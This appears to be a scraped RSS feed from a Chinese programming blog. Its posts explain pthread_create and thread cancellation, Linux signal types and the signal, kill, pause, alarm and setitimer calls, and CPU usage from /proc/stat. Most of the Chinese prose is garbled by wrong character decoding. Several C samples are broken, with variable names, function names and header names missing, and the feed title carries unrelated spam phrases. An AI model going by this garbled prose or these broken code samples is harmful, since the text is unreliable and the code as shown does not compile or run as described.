??xml version="1.0" encoding="utf-8" standalone="yes"?>人人狠狠综合久久亚洲,久久亚洲欧洲国产综合,精品国产青草久久久久福利http://www.shnenglu.com/zzfmars/category/14650.html明天是另一天,你能看到明天的太阛_Q?/description>zh-cnFri, 27 May 2011 22:16:38 GMTFri, 27 May 2011 22:16:38 GMT60pthread_create用法 http://www.shnenglu.com/zzfmars/archive/2011/05/21/146877.htmlKevin_ZhangKevin_ZhangSat, 21 May 2011 10:59:00 GMThttp://www.shnenglu.com/zzfmars/archive/2011/05/21/146877.htmlhttp://www.shnenglu.com/zzfmars/comments/146877.htmlhttp://www.shnenglu.com/zzfmars/archive/2011/05/21/146877.html#Feedback0http://www.shnenglu.com/zzfmars/comments/commentRss/146877.htmlhttp://www.shnenglu.com/zzfmars/services/trackbacks/146877.html转蝲?xiapingwen
最l编?xiapingwen
linux下用C开发多U程E序QLinuxpȝ下的多线E遵循POSIXU程接口Q称为pthread?br />

#include <pthread.h>

int pthread_create(pthread_t *restrict tidp,
const pthread_attr_t *restrict attr,
void *(*start_rtn)(void),
void *restrict arg);

Returns: 0 if OK, error number on failure

C99 中新增加?restrict 修饰的指针: ?restrict 修饰的指针是最初唯一Ҏ针所指向的对象进行存取的ҎQ仅当第二个指针ZW一个时Q才能对对象q行存取。对对象的存取都限定于基于由 restrict 修饰的指针表辑ּ中??restrict 修饰的指针主要用于函数Ş参,或指向由 malloc() 分配的内存空间。restrict 数据cd不改变程序的语义?~译器能通过作出 restrict 修饰的指针是存取对象的唯一Ҏ的假设,更好C化某些类型的例程?/p>

W一个参Cؓ指向U程标识W的指针?br />W二个参数用来设|线E属性?br />W三个参数是U程q行函数的v始地址?br />最后一个参数是q行函数的参数?br />
下面q个E序中,我们的函?code>thr_fn不需要参敎ͼ所以最后一个参数设为空指针。第二个参数我们也设为空指针Q这样将生成默认属性的U程。当创徏U程成功Ӟ函数q回0Q若不ؓ0则说明创建线E失败,常见的错误返回代码ؓEAGAIN和EINVAL。前者表C系l限制创建新的线E,例如U程数目q多了;后者表C第二个参数代表的线E属性值非法。创建线E成功后Q新创徏的线E则q行参数三和参数四确定的函数Q原来的U程则l运行下一行代码?

#include<stdio.h>
#include<pthread.h
>
#include<string.h>
#
include<sys/types.h
>
#
include<unistd.h>


pthread_t
ntid;

void printids(const char *s){
pid_t pid;
pthread_t tid;

= getpid();
= pthread_self();
printf("%s pid %u tid %u (0x%x)\n",s,(unsigned int)pid,(unsigned int)tid,(unsigned
)tid);
}

void *thr_fn(void *arg){
("new thread:");
return ((void *)0);
}

int main(){
int err;

err = pthread_create(&ntid,NULL,thr_fn,NULL);
if(err != 0)
{
printf("can't create thread: %s\n",strerror(err));
return 1;
}

("main thread:");
sleep(1);
return 0;
}

把APUE2上的一个程序修改一下,然后~译?br />l果报错:
pthread.c:(.text+0x85)Q对‘pthread_create’未定义的引用


׃pthread库不是Linuxpȝ默认的库Q连接时需要用库libpthread.a,所以在使用pthread_create创徏U程Ӟ在编译中要加-lpthread参数:
gcc -o pthread -lpthread pthread.c

 

 

q是一个关于PosixU程~程的专栏。作者在阐明概念的基上,向您详l讲qPosixU程库API。本文是W一将向您讲述U程的创Z取消?/blockquote>

 

一、线E创?/font>

 

1Q? U程与进E?/span>
相对q程而言Q线E是一个更加接q于执行体的概念Q它可以与同q程中的其他U程׃n数据Q但拥有自己的栈I间Q拥有独立的执行序列。在串行E序基础上引入线E和q程是ؓ了提高程序的q发度,从而提高程序运行效率和响应旉?/p>

 

U程和进E在使用上各有优~点Q线E执行开销,但不利于资源的管理和保护Q而进E正相反。同ӞU程适合于在SMP机器上运行,而进E则可以跨机器迁UR?/p>

 

1Q? 创徏U程
POSIX通过pthread_create()函数创徏U程QAPI定义如下Q?/p>


int      pthread_create(pthread_t      *      thread, pthread_attr_t * attr, 

void * (*start_routine)(void *), void * arg)
与fork()调用创徏一个进E的Ҏ不同Qpthread_create()创徏的线Eƈ不具备与ȝE(卌用pthread_create()的线E)同样的执行序列,而是使其q行start_routine(arg)函数。threadq回创徏的线EIDQ而attr是创建线E时讄的线E属性(见下Q。pthread_create()的返回DC线E创建是否成功。尽arg是void *cd的变量,但它同样可以作ؓLcd的参Clstart_routine()函数Q同Ӟstart_routine()可以q回一个void *cd的返回|而这个返回g可以是其他类型,q由pthread_join()获取?/p>

1Q? U程创徏属?/span>
pthread_create()中的attr参数是一个结构指针,l构中的元素分别对应着新线E的q行属性,主要包括以下几项Q?/p>

 

__detachstateQ表C新U程是否与进E中其他U程q同步Q如果置位则新线E不能用pthread_join()来同步,且在退出时自行释放所占用的资源。缺省ؓPTHREAD_CREATE_JOINABLE状态。这个属性也可以在线E创建ƈq行以后用pthread_detach()来设|,而一旦设|ؓPTHREAD_CREATE_DETACH状态(不论是创建时讄q是q行时设|)则不能再恢复?PTHREAD_CREATE_JOINABLE状态?/p>

 

__schedpolicyQ表C新U程的调度策略,主要包括SCHED_OTHERQ正常、非实时Q、SCHED_RRQ实时、轮转法Q和 SCHED_FIFOQ实时、先入先出)三种Q缺省ؓSCHED_OTHERQ后两种调度{略仅对用户有效。运行时可以用过 pthread_setschedparam()来改变?/p>

 

__schedparamQ一个struct sched_paraml构Q目前仅有一个sched_priority整型变量表示U程的运行优先。这个参C当调度策略ؓ实时Q即SCHED_RR 或SCHED_FIFOQ时才有效,q可以在q行旉过pthread_setschedparam()函数来改变,~省??/p>

 

__inheritschedQ有两种值可供选择QPTHREAD_EXPLICIT_SCHED和PTHREAD_INHERIT_SCHEDQ前者表C新U程使用昑ּ指定调度{略和调度参敎ͼ即attr中的|Q而后者表C承调用者线E的倹{缺省ؓPTHREAD_EXPLICIT_SCHED?/p>

 

__scopeQ表C线E间竞争CPU的范_也就是说U程优先U的有效范围。POSIX的标准中定义了两个| PTHREAD_SCOPE_SYSTEM和PTHREAD_SCOPE_PROCESSQ前者表CZpȝ中所有线E一L争CPU旉Q后者表CZ与同q程中的U程竞争CPU。目前LinuxThreads仅实CPTHREAD_SCOPE_SYSTEM一倹{?/p>

 

pthread_attr_tl构中还有一些|但不使用pthread_create()来设|?/p>

 

Z讄q些属性,POSIX定义了一pd属性设|函敎ͼ包括pthread_attr_init()、pthread_attr_destroy()和与各个属性相关的pthread_attr_get---/pthread_attr_set---函数?/p>

 

1Q? U程创徏的Linux实现
我们知道QLinux的线E实现是在核外进行的Q核内提供的是创E的接口do_fork()。内核提供了两个pȝ调用__clone()和fork ()Q最l都用不同的参数调用do_fork()核内API。当Ӟ要想实现U程Q没有核心对多进E(其实是轻量q程Q共享数据段的支持是不行的,因此Qdo_fork()提供了很多参敎ͼ包括CLONE_VMQ共享内存空_、CLONE_FSQ共享文件系l信息)、CLONE_FILESQ共享文件描q符表)、CLONE_SIGHANDQ共享信号句柄表Q和CLONE_PIDQ共享进EIDQ仅Ҏ内进E,?可E有效)。当使用forkpȝ调用Ӟ内核调用do_fork()不用Q何共享属性,q程拥有独立的运行环境,而用pthread_create()来创建线E时,则最l设|了所有这些属性来调用__clone()Q而这些参数又全部传给核内的do_fork()Q从而创建的"q程"拥有׃n的运行环境,只有栈是独立的,?__clone()传入?/p>

 

LinuxU程在核内是以轻量q程的Ş式存在的Q拥有独立的q程表项Q而所有的创徏、同步、删除等操作都在核外pthread库中q行。pthread 库用一个管理线E(__pthread_manager()Q每个进E独立且唯一Q来理U程的创建和l止QؓU程分配U程IDQ发送线E相关的信号Q比如CancelQ,而主U程Qpthread_create()Q的调用者则通过道请求信息传l管理线E?/p>

 

二、线E取?/font>

 

2Q? U程取消的定?/span>
一般情况下Q线E在其主体函数退出的时候会自动l止Q但同时也可以因为接收到另一个线E发来的l止Q取消)h而强制终止?/p>

 

2Q? U程取消的语?/span>
U程取消的方法是向目标线E发Cancel信号Q但如何处理Cancel信号则由目标U程自己军_Q或者忽略、或者立即终止、或者l运行至Cancelation-pointQ取消点Q,׃同的Cancelation状态决定?/p>

 

U程接收到CANCEL信号的缺省处理(即pthread_create()创徏U程的缺省状态)是l运行至取消点,也就是说讄一个CANCELED状态,U程l箋q行Q只有运行至Cancelation-point的时候才会退出?/p>

 

2Q? 取消?/span>
ҎPOSIX标准Qpthread_join()、pthread_testcancel()、pthread_cond_wait()?pthread_cond_timedwait()、sem_wait()、sigwait(){函C及read()、write(){会引vd的系l调用都是Cancelation-pointQ而其他pthread函数都不会引起Cancelation动作。但是pthread_cancel的手册页声称Q由于LinuxThread库与C库结合得不好Q因而目前C库函数都不是Cancelation-pointQ但CANCEL信号会ɾU程从阻塞的pȝ调用中退出,q置EINTR错误码,因此可以在需要作为Cancelation-point的系l调用前后调?pthread_testcancel()Q从而达到POSIX标准所要求的目标,卛_下代码段Q?/p>


pthread_testcancel();

     retcode = read(fd, buffer, length);
     pthread_testcancel();

2Q? E序设计斚w的考虑
如果U程处于无限循环中,且@环体内没有执行至取消点的必然路径Q则U程无法由外部其他线E的取消h而终止。因此在q样的@环体的必l\径上应该加入pthread_testcancel()调用?/p>

 

2Q? 与线E取消相关的pthread函数
int pthread_cancel(pthread_t thread)
发送终止信LthreadU程Q如果成功则q回0Q否则ؓ?倹{发送成功ƈ不意味着thread会终止?/p>

 

int pthread_setcancelstate(int state, int *oldstate)
讄本线E对Cancel信号的反应,state有两U|PTHREAD_CANCEL_ENABLEQ缺省)?PTHREAD_CANCEL_DISABLEQ分别表C收C号后设ؓCANCLED状态和忽略CANCEL信号l箋q行Qold_state如果不ؓ NULL则存入原来的Cancel状态以便恢复?/p>

 

int pthread_setcanceltype(int type, int *oldtype)
讄本线E取消动作的执行时机Qtype׃U取|PTHREAD_CANCEL_DEFFERED?PTHREAD_CANCEL_ASYCHRONOUSQ仅当Cancel状态ؓEnable时有效,分别表示收到信号后l运行至下一个取消点再退出和立即执行取消动作Q退出)Qoldtype如果不ؓNULL则存入运来的取消动作cd倹{?/p>

 

void pthread_testcancel(void)
查本U程是否处于Canceld状态,如果是,则进行取消动作,否则直接q回?/p>



Kevin_Zhang 2011-05-21 18:59 发表评论
]]>
Linux的系l信PsignalQ类型与机制 http://www.shnenglu.com/zzfmars/archive/2010/11/25/134663.htmlKevin_ZhangKevin_ZhangThu, 25 Nov 2010 11:23:00 GMThttp://www.shnenglu.com/zzfmars/archive/2010/11/25/134663.htmlhttp://www.shnenglu.com/zzfmars/comments/134663.htmlhttp://www.shnenglu.com/zzfmars/archive/2010/11/25/134663.html#Feedback0http://www.shnenglu.com/zzfmars/comments/commentRss/134663.htmlhttp://www.shnenglu.com/zzfmars/services/trackbacks/134663.html
信号是Linux~程中非帔R要的部分Q本文将详细介绍信号机制的基本概cLinux对信h制的大致实现?法、如何用信P以及有关信号的几个系l调用?/div> 信号是Linux~程中非帔R要的部分Q本文将详细介绍信号机制的基本概cLinux对信h制的大致实现Ҏ、如何用信P以及有关信号的几个系l?调用?br>信号机制是进E之间相互传递消息的一U方法,信号全称Y中断信号Q也有hUC软中断。从它的命名可以看出Q它的实质和使用很象中断。所以,信号可以 说是q程控制的一部分?br>1.信号的基本概?br>本节先介l信L一些基本概念,然后l出一些基本的信号cd和信号对应的事g。基本概念对于理解和使用信号Q对于理解信h刉特别重要。下面就来看 看什么是信号?br>1.1 基本概念
软中断信PsignalQ又UCؓ信号Q用来通知q程发生了异步事件。进E之间可以互盔R过pȝ调用kill发送Y中断信号。内怹可以因ؓ 内部事g而给q程发送信P通知q程发生了某个事件。注意,信号只是用来通知某进E发生了什么事Ӟq不l该q程传递Q何数据?br>收到信号的进E对各种信号有不同的处理Ҏ。处理方法可以分Zc:W一U是cM中断的处理程序,对于需要处理的信号Q进E可以指定处理函敎ͼ p函数来处理。第二种Ҏ是,忽略某个信号Q对该信号不做Q何处理,p未发生过一栗第三种Ҏ是,对该信号的处理保留系l的默认|q种~省操作Q?对大部分的信L~省操作是得进E终止。进E通过pȝ调用signal来指定进E对某个信号的处理行为?br>在进E表的表中有一个Y中断信号域,该域中每一位对应一个信P当有信号发送给q程Ӟ对应位置位。由此可以看出,q程对不同的信号可以同时保留Q?但对于同一个信Pq程q不知道在处理之前来q多个?br>1.2 信号的类?br>发出信号的原因很多,q里按发ZL原因单分c,以了解各U信P
与进E终止相关的信号。当q程退出,或者子q程l止Ӟ发出q类信号?br>与进E例外事件相关的信号。如q程界Q或企图写一个只ȝ内存区域Q如E序正文区)Q或执行一个特权指令及其他各种g错误?br>与在pȝ调用期间遇到不可恢复条g相关的信受如执行pȝ调用execӞ原有资源已经释放Q而目前系l资源又已经耗尽?br>与执行系l调用时遇到非预错误条件相关的信号。如执行一个ƈ不存在的pȝ调用?br>在用h下的进E发出的信号。如q程调用pȝ调用kill向其他进E发送信受?br>与终端交互相关的信号。如用户关闭一个终端,或按下break键等情况?br>跟踪q程执行的信受?br>Linux支持的信号列表如下。很多信h与机器的体系l构相关的?br>首先列出的是POSIX.1中列出的信号Q?br>信号   倹{ 处理动作 发出信号的原?br>----------------------------------------------------------------------
SIGHUP 1     A  l端挂v或者控制进E终?br>SIGINT 2     A  键盘中断Q如break键被按下Q?br>SIGQUIT 3     C  键盘的退出键被按?br>SIGILL 4     C  非法指o
SIGABRT 6     C  由abort(3)发出的退出指?br>SIGFPE 8     C  点异常
SIGKILL 9     AEF  Kill信号
SIGSEGV 11     C  无效的内存引?br>SIGPIPE 13     A  道破裂: 写一个没有读端口的管?br>SIGALRM 14    A  由alarm(2)发出的信?br>SIGTERM 15    A  l止信号
SIGUSR1 30,10,16 A  用户自定义信?
SIGUSR2 31,12,17 A  用户自定义信?
SIGCHLD 20,17,18 B  子进E结束信?br>SIGCONT 19,18,25    q程l箋Q曾被停止的q程Q?br>SIGSTOP 17,19,23 DEF l止q程
SIGTSTP 18,20,24 D  控制l端QttyQ上按下停止?br>SIGTTIN 21,21,26 D  后台q程企图从控制终端读
SIGTTOU 22,22,27 D  后台q程企图从控制终端写
下面的信h在POSIX.1中列出,而在SUSv2列出
信号    倹{  处理动作 发出信号的原?br>--------------------------------------------------------------------
SIGBUS 10,7,10 C ȝ错误(错误的内存访?
SIGPOLL A Sys V定义的Pollable事gQ与SIGIO同义
SIGPROF 27,27,29 A Profiling定时器到
SIGSYS 12,-,12 C 无效的系l调?(SVID)
SIGTRAP 5 C 跟踪/断点捕获
SIGURG 16,23,21 B Socket出现紧急条?4.2 BSD)
SIGVTALRM 26,26,28 A 实际旉报警旉信号(4.2 BSD)
SIGXCPU 24,24,30 C 出讑֮的CPU旉限制(4.2 BSD)
SIGXFSZ 25,25,31 C 出讑֮的文件大限?4.2 BSD)
Q对于SIGSYSQSIGXCPUQSIGXFSZQ以及某些机器体pȝ构下的SIGBUSQLinux~省的动作是A (terminate)QSUSv2 是C (terminate and dump core)Q?br>
下面是其它的一些信?
信号    倹{  处理动作 发出信号的原?br>----------------------------------------------------------------------
SIGIOT 6 C IO捕获指oQ与SIGABRT同义
SIGEMT 7,-,7
SIGSTKFLT -,16,- A 协处理器堆栈错误
SIGIO 23,29,22 A 某I/O操作现在可以q行?4.2 BSD)
SIGCLD -,-,18 A 与SIGCHLD同义
SIGPWR 29,30,19 A 甉|故障(System V)
SIGINFO 29,-,- A 与SIGPWR同义
SIGLOST -,-,- A 文g锁丢?br>SIGWINCH 28,28,20 B H口大小改变(4.3 BSD, Sun)
SIGUNUSED -,31,- A 未用的信号(will be SIGSYS)
Q在q里Q? 表示信号没有实现Q有三个值给出的含义为,W一个值通常在Alpha和Sparc上有效,中间的值对应i386和ppc以及shQ最后一个值对?mips。信?9在Alpha上ؓSIGINFO / SIGPWR Q在Sparc上ؓSIGLOST。)
处理动作一中的字母含义如?
A ~省的动作是l止q程
B ~省的动作是忽略此信?br>C ~省的动作是l止q程q进行内核映像{储(dump coreQ?br>D ~省的动作是停止q程
E 信号不能被捕?br>F 信号不能被忽?br>上面介绍的信h常见pȝ所支持的。以表格的Ş式介l了各种信号的名U、作用及其在默认情况下的处理动作。各U默认处理动作的含义是:l止E序 是指q程退出;忽略该信h该信号丢弃Q不做处理;停止E序是指E序挂vQ进入停止状况以后还能重新进行下去,一般是在调试的q程中(例如ptrace pȝ调用Q;内核映像转储是指进E数据在内存的映像和q程在内核结构中存储的部分内容以一定格式{储到文gpȝQƈ且进E退出执行,q样做的好处是ؓE?序员提供了方便,使得他们可以得到q程当时执行时的数据|允许他们定转储的原因,q且可以调试他们的程序?br>注意: 信号SIGKILL和SIGSTOP既不能被捕捉Q也不能被忽略。信号SIGIOT与SIGABRT是一个信受可以看出,同一个信号在不同的系l中值可 能不一P所以徏议最好用ؓ信号定义的名字,而不要直接用信L倹{?br>2.????br>上一节中介绍了信L基本概念Q在q一节中Q我们将介绍内核如何实现信号机制。即内核如何向一个进E发送信受进E如何接收一个信受进E怎样 控制自己对信L反应、内核在什么时机处理和怎样处理q程收到的信受还要介l一下setjmp和longjmp在信号中起到的作用?br>2.1 内核对信L基本处理Ҏ
内核l一个进E发送Y中断信号的方法,是在q程所在的q程表项的信号域讄对应于该信号的位。这里要补充的是Q如果信号发送给一个正在睡眠的q?E,那么要看该进E进入睡眠的优先U,如果q程睡眠在可被中断的优先U上Q则唤醒q程Q否则仅讄q程表中信号域相应的位,而不唤醒q程。这一Ҏ较重 要,因ؓq程查是否收CL时机是:一个进E在卛_从内核态返回到用户态时Q或者,在一个进E要q入或离开一个适当的低调度优先U睡眠状态时?br>内核处理一个进E收到的信号的时机是在一个进E从内核态返回用h时。所以,当一个进E在内核态下q行Ӟ软中断信号ƈ不立卌v作用Q要{到返回用 h时才处理。进E只有处理完信号才会q回用户态,q程在用h下不会有未处理完的信号?br>内核处理一个进E收到的软中断信h在该q程的上下文中,因此Q进E必d于运行状态。前面介l概늚时候讲q,处理信号有三U类型:q程接收 C号后退出;q程忽略该信Pq程收到信号后执行用戯定用pȝ调用signal的函数。当q程接收C个它忽略的信hQ进E丢弃该信号Q就象没有收 到该信号似的l箋q行。如果进E收C个要捕捉的信P那么q程从内核态返回用h时执行用户定义的函数。而且执行用户定义的函数的Ҏ很y妙,内核是在 用户栈上创徏一个新的层Q该层中返回地址的D|成用户定义的处理函数的地址Q这栯E从内核q回弹出栈顶时就q回到用户定义的函数处,从函数返回再?出栈时Q才q回原先q入内核的地斏V这样做的原因是用户定义的处理函C能且不允许在内核态下执行Q如果用户定义的函数在内核态下q行的话Q用户就可以 获得M权限Q?br>在信L处理Ҏ中有几点特别要引h意?br>在一些系l中Q当一个进E处理完中断信号q回用户态之前,内核清除用户Z讑֮的对该信L处理例程的地址Q即下一ơ进E对该信L处理Ҏ又改 为默认|除非在下一ơ信号到来之前再ơ用signalpȝ调用。这可能会得进E在调用signal之前又得到该信号而导致退出。在BSD中,内核?再清除该地址。但不清除该地址可能使得q程因ؓq多q快的得到某个信可导致堆栈溢出。ؓ了避免出Cq情c在BSDpȝ中,内核模拟了对g中断的处 理方法,卛_处理某个中断ӞL接收新的该类中断?br>
如果要捕捉的信号发生于进E正在一个系l调用中Ӟq且该进E睡眠在可中断的优先U上Q这时该信号引vq程作一ơlongjmpQ?跛_睡眠状态,q回用户态ƈ执行信号处理例程。当从信号处理例E返回时Q进E就象从pȝ调用q回一P但返回了一个错误代码,指出该次pȝ调用曄被中 断。这要注意的是,BSDpȝ中内核可以自动地重新开始系l调用?br>若进E睡眠在可中断的优先U上Q则当它收到一个要忽略的信hQ该q程被唤醒,但不做longjmpQ一般是l箋睡眠。但用户感觉不到q程曄被唤醒,?是象没有发生q该信号一栗?br>内核对子q程l止QSIGCLDQ信L处理Ҏ与其他信h所区别。当q程查出收到了一个子q程l止的信hQ缺省情况下Q该q程 p没有收到该信号似的,如果父进E执行了pȝ调用waitQ进E将从系l调用wait中醒来ƈq回wait调用Q执行一pdwait调用的后l操作(?出僵ȝ子进E,释放子进E的q程表项Q,然后从wait中返回。SIGCLD信号的作用是唤醒一个睡眠在可被中断优先U上的进E。如果该q程捕捉了这?信号Q就象普通信号处理一栯{到处理例E。如果进E忽略该信号Q那么系l调用wait的动作就有所不同Q因为SIGCLD的作用仅仅是唤醒一个睡眠在可被 中断优先U上的进E,那么执行wait调用的父q程被唤醒l执行wait调用的后l操作,然后{待其他的子q程?br>如果一个进E调用signalpȝ调用Qƈ讄了SIGCLD的处理方法,q且该进E有子进E处于僵ȝ态,则内核将向该q程发一个SIGCLD?受?br>2.2 setjmp和longjmp的作?br>前面在介l信号处理机制时Q多ơ提Csetjmp和longjmpQ但没有仔细说明它们的作用和实现Ҏ。这里就此作一个简单的介绍?br>在介l信L时候,我们看到多个地方要求q程在检查收C号后Q从原来的系l调用中直接q回Q而不是等到该调用完成。这U进E突然改变其上下?的情况,是使用setjmp和longjmp的结果。setjmp保存的上下文存入用户区Qƈl箋在旧的上下文中执行。这是_q程执行一个系l调 用,当因源或其他原因要去睡眠Ӟ内核E作了一ơsetjmpQ如果在睡眠中被信号唤醒Q进E不能再q入睡眠Ӟ内核E调用longjmpQ?该操作是内核E将原先setjmp调用保存在进E用户区的上下文恢复成现在的上下文,q样׃得进E可以恢复等待资源前的状态,而且内核?setjmpq回1Q得进E知道该ơ系l调用失败。这是它们的作用?br>3.有关信号的系l调?br>前面两节已经介绍了有关信L大部分知识。这一节我们来了解一下这些系l调用。其中,pȝ调用signal是进E用来设定某个信L处理ҎQ?pȝ调用kill是用来发送信L指定q程的。这两个调用可以形成信号的基本操作。后两个调用pause和alarm是通过信号实现的进E暂停和定时器, 调用alarm是通过信号通知q程定时器到时。所以在q里Q我们还要介l这两个调用?br>3.1 signal pȝ调用
pȝ调用signal用来讑֮某个信号的处理方法。该调用声明的格式如下:
void (*signal(int signum, void (*handler)(int)))(int);
在用该调用的进E中加入以下头文Ӟ
#include 
上述声明格式比较复杂Q如果不清楚如何使用Q也可以通过下面q种cd定义的格式来使用QPOSIX的定义)Q?br>typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler);
但这U格式在不同的系l中有不同的cd定义Q所以要使用q种格式Q最好还是参考一下联机手册?br>在调用中Q参数signum指出要设|处理方法的信号。第二个参数handler是一个处理函敎ͼ或者是
SIG_IGNQ忽略参数signum所指的信号?br>SIG_DFLQ恢复参数signum所指信L处理Ҏ为默认倹{?br>传递给信号处理例程的整数参数是信号|q样可以使得一个信号处理例E处理多个信受系l调用signalq回值是指定信号signum前一ơ的处理 例程或者错误时q回错误代码SIG_ERR。下面来看一个简单的例子Q?br>#include 
#include 
#include 
void sigroutine(int dunno)
{ /* 信号处理例程Q其中dunno会得到信号的?*/
switch (dunno) {
case 1:
printf("Get a signal -- SIGHUP ");
break;
case 2:
printf("Get a signal -- SIGINT ");
break;
case 3:
printf("Get a signal -- SIGQUIT ");
break;
}
return;
}
int main() {
printf("process id is %d ",getpid());
signal(SIGHUP, sigroutine); //* 下面讄三个信号的处理方?br>signal(SIGINT, sigroutine);
signal(SIGQUIT, sigroutine);
for (;;) ;
}
其中信号SIGINT由按下Ctrl-C发出Q信号SIGQUIT由按下Ctrl-(back slash)发出。该E序执行的结果如下:
localhost:~$ ./sig_test
process id is 463
Get a signal -SIGINT //按下Ctrl-C得到的结?br>Get a signal -SIGQUIT //按下Ctrl-得到的结?br>//按下Ctrl-z进E置于后?br>[1]+ Stopped ./sig_test
localhost:~$ bg
[1]+ ./sig_test &
localhost:~$ kill -HUP 463 //向进E发送SIGHUP信号
localhost:~$ Get a signal – SIGHUP
kill -9 463 //向进E发送SIGKILL信号Q终止进E?br>localhost:~$
3.2 kill pȝ调用
pȝ调用kill用来向进E发送一个信受该调用声明的格式如下:
int kill(pid_t pid, int sig);
在用该调用的进E中加入以下头文Ӟ
#include 
#include 
该系l调用可以用来向Mq程或进E组发送Q何信受如果参数pid是正敎ͼ那么该调用将信号sig发送到q程号ؓpid的进E。如果pid{??Q那么信号sig发送给当前q程所属进E组里的所有进E。如果参数pid{于-1Q信号sig发送给除了q程1和自w以外的所有进E。如果参?pid于-1Q信号sig发送给属于q程l?pid的所有进E。如果参数sig?Q将不发送信受该调用执行成功Ӟq回gؓ0Q错误时Q返?-1Qƈ讄相应的错误代码errno。下面是一些可能返回的错误代码Q?br>EINVALQ指定的信号sig无效?br>ESRCHQ参数pid指定的进E或q程l不存在。注意,在进E表中存在的进E,可能是一个还没有被wait收回Q但已经l止执行的僵死进E?br>EPERMQ进E没有权力将q个信号发送到指定接收信号的进E。因为,一个进E被允许信号发送到q程pidӞ必须拥有root?力,或者是发出调用的进E的UID或EUID与指定接收的q程的UID或保存用户IDQsavedset-user-IDQ相同。如果参数pid于 -1Q即该信号发送给一个组Q则该错误表C组中有成员q程不能接收该信受?br>3.3 pausepȝ调用
pȝ调用pause的作用是{待一个信受该调用的声明格式如下:
int pause(void);
在用该调用的进E中加入以下头文Ӟ
#include 
该调用得发用的q程q入睡眠Q直到接收到一个信号ؓ止。该调用Lq回-1Qƈ讄错误代码为EINTRQ接收到一个信P。下面是一个简单的 范例Q?br>#include 
#include 
#include 
void sigroutine(int unused)
{
printf("Catch a signal SIGINT ");
}
int main() {
signal(SIGINT, sigroutine);
pause();
printf("receive a signal ");
}
在这个例子中Q程序开始执行,pq入了死循环一Pq是因ؓq程正在{待信号Q当我们按下Ctrl-CӞ信号被捕捉,q且使得pause退出等?状态?br>3.4 alarm?setitimerpȝ调用
pȝ调用alarm的功能是讄一个定时器Q当定时器计时到达时Q将发出一个信Lq程。该调用的声明格式如下:
unsigned int alarm(unsigned int seconds);
在用该调用的进E中加入以下头文Ӟ
#include 
pȝ调用alarm安排内核用进E在指定?secondsU后发出一个SIGALRM的信受如果指定的参数seconds?Q则不再发送SIGALRM信号。后一ơ设定将取消前一ơ的讑֮。该 调用q回gؓ上次定时调用到发送之间剩余的旉Q或者因为没有前一ơ定时调用而返?。注意,在用时Qalarm只设定ؓ发送一ơ信P如果要多ơ发 送,p多次使用alarm调用?br>对于alarmQ这里不再D例。现在的pȝ中很多程序不再用alarm调用Q而是使用setitimer调用来设|定时器Q用getitimer?得到定时器的状态,q两个调用的声明格式如下Q?br>int getitimer(int which, struct itimerval *value);
int setitimer(int which, const struct itimerval *value, struct itimerval *ovalue);
在用这两个调用的进E中加入以下头文Ӟ
#include 
该系l调用给q程提供了三个定时器Q它们各自有其独有的计时域,当其中Q何一个到达,发送一个相应的信号l进E,q得计时器重新开始。三个计时器 由参数which指定Q如下所C:
TIMER_REALQ按实际旉计时Q计时到辑ְl进E发送SIGALRM信号?br>
ITIMER_VIRTUALQ仅当进E执行时才进行计时。计时到辑ְ发送SIGVTALRM信号l进E?br>ITIMER_PROFQ当q程执行时和pȝq程执行动作旉计时。与ITIMER_VIR-TUAL是一对,该定时器l常用来l计q程在用h和?核态花费的旉。计时到辑ְ发送SIGPROF信号l进E?br>定时器中的参数value用来指明定时器的旉Q其l构如下Q?br>struct itimerval {
struct timeval it_interval; /* 下一ơ的取?*/
struct timeval it_value; /* 本次的设定?*/
};
该结构中timevall构定义如下Q?br>struct timeval {
long tv_sec; /* U?*/
long tv_usec; /* 微秒Q?U?= 1000000 微秒*/
};
在setitimer调用中,参数ovalue如果不ؓI,则其中保留的是上ơ调用设定的倹{定时器it_value递减?Ӟ产生一个信 Pq将it_value的D定ؓit_interval的|然后重新开始计Ӟ如此往复。当it_value讑֮?Ӟ计时器停止,或者当它计?到期Q而it_interval?时停止。调用成功时Q返?Q错误时Q返?1Qƈ讄相应的错误代码errnoQ?br>EFAULTQ参数value或ovalue是无效的指针?br>EINVALQ参数which不是ITIMER_REAL、ITIMER_VIRT或ITIMER_PROF中的一个?br>下面是关于setitimer调用的一个简单示范,在该例子中,每隔一U发Z个SIGALRMQ每?.5U发Z个SIGVTALRM信号Q?br>#include 
#include 
#include 
#include 

int sec;
void sigroutine(int signo) {
switch (signo) {
case SIGALRM:
printf("Catch a signal -- SIGALRM ");
break;
case SIGVTALRM:
printf("Catch a signal -- SIGVTALRM ");
break;
}
return;
}
int main() {
struct itimerval value,ovalue,value2;
sec = 5;
printf("process id is %d ",getpid());
signal(SIGALRM, sigroutine);
signal(SIGVTALRM, sigroutine);
value.it_value.tv_sec = 1;
value.it_value.tv_usec = 0;
value.it_interval.tv_sec = 1;
value.it_interval.tv_usec = 0;
setitimer(ITIMER_REAL, &value, &ovalue);
value2.it_value.tv_sec = 0;
value2.it_value.tv_usec = 500000;
value2.it_interval.tv_sec = 0;
value2.it_interval.tv_usec = 500000;
setitimer(ITIMER_VIRTUAL, &value2, &ovalue);
for (;;) ;
}
该例子的屏幕拯如下Q?br>localhost:~$ ./timer_test
process id is 579
Catch a signal – SIGVTALRM
Catch a signal – SIGALRM
Catch a signal – SIGVTALRM
Catch a signal – SIGVTALRM
Catch a signal – SIGALRM
Catch a signal –GVTALRM


Kevin_Zhang 2010-11-25 19:23 发表评论
]]>
?proc/stat计算cpu的占用率http://www.shnenglu.com/zzfmars/archive/2010/11/10/133175.htmlKevin_ZhangKevin_ZhangWed, 10 Nov 2010 01:31:00 GMThttp://www.shnenglu.com/zzfmars/archive/2010/11/10/133175.htmlhttp://www.shnenglu.com/zzfmars/comments/133175.htmlhttp://www.shnenglu.com/zzfmars/archive/2010/11/10/133175.html#Feedback0http://www.shnenglu.com/zzfmars/comments/commentRss/133175.htmlhttp://www.shnenglu.com/zzfmars/services/trackbacks/133175.html?span lang="EN-US">Linux下,CPU利用率分为用h,pȝ态和I闲态,分别表示CPU处于用户态执行的旉Q系l内核执行的旉Q和I闲pȝq程执行的时_三者之和就?span lang="EN-US">CPU的L_当没有用戯E、系l进E等需要执行的时候,CPU执行系l缺省的I闲q程。从q_的思维方式理解的话Q?span lang="EN-US">CPU的利用率是非空闲进E占用时间的比例Q即CPU执行非空闲进E的旉 / CPUȝ执行旉?span lang="EN-US">

